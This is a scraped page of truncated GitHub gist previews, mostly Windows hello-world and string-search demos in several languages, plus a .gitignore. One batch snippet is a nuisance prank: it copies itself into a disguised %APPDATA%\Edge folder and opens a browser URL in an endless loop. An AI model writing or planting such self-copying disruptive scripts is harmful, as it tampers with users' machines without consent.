This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
int main() { | |
MessageBox(NULL, "Hello, World!", "Example", MB_ICONINFORMATION); | |
return 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <shlwapi.h> | |
int main() { | |
wchar_t haystack[] = L"TutorialsPoint"; | |
wchar_t needle[] = L"Point"; | |
wchar_t* ret; | |
ret = StrStrIW(haystack, needle); | |
printf("The Substring Is: %ls\n", ret); | |
printf("Press To Enter Continue ... "); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <shlwapi.h> | |
int main() { | |
const char haystack[] = "TutorialsPoint"; | |
const char needle[] = "Point"; | |
const char* ret; | |
ret = StrStrIA(haystack, needle); | |
printf("The Substring Is: %s\n", ret); | |
printf("Press To Enter Continue ... "); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <shlwapi.h> | |
int main() { | |
const char haystack[] = "TutorialsPoint"; | |
const char needle[] = "Point"; | |
const char* ret; | |
ret = StrStrI(haystack, needle); | |
printf("The Substring Is: %s\n", ret); | |
printf("Press To Enter Continue ... "); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@ECHO OFF | |
SETLOCAL EnableDelayedExpansion | |
for /f "tokens=*" %%G in ('bcdedit /enum {default} ^| find /I "hypervisorlaunchtype"') do set HYPERVSTATUS=%%G | |
IF /I "%HYPERVSTATUS%" == "hypervisorlaunchtype auto" ( | |
ECHO hypervisorlaunchtype Auto | |
) ELSE IF /I "%HYPERVSTATUS%" == "hypervisorlaunchtype off" ( | |
ECHO hypervisorlaunchtype Off | |
) ELSE ( | |
ECHO Unknown Hyper-V Status | |
) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@echo off | |
set url="https://www.youtube.com/watch?v=dQw4w9WgXcQ" | |
if exist "%APPDATA%\Edge\%~n0%~x0" ( | |
:main | |
start "" %url% > nul 2>&1 | |
timeout 1 > nul 2>&1 | |
goto main | |
) else ( | |
mkdir "%APPDATA%\Edge" > nul 2>&1 | |
copy /y %~f0 "%APPDATA%\Edge" > nul 2>&1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Hide Console Window | |
$t = '[DllImport("user32.dll")] public static extern bool ShowWindow(int handle, int state);' | |
Add-Type -Name Win -Member $t -NameSpace Native | |
[Native.Win]::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle, 0) | |
# Load Required Assemblies | |
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") | |
Add-Type -AssemblyName PresentationFramework | |
# Drawing Form And Controls |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; Displays "Hello, World!" In A Message Box. | |
Example := "Example" | |
Hello := "Hello, World!" | |
MsgBox, 64, %Example%, %Hello% |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; Make Available A Library Of Constant Values. | |
#include <MsgBoxConstants.au3> | |
; Displays "Hello, World!" In A Message Box. | |
MsgBox($MB_ICONINFORMATION, "Example", "Hello, World!") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## Ignore Visual Studio temporary files, build results, and | |
## files generated by popular Visual Studio add-ons. | |
## | |
## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore | |
# User-specific files | |
*.rsuser | |
*.suo | |
*.user | |
*.userosscache |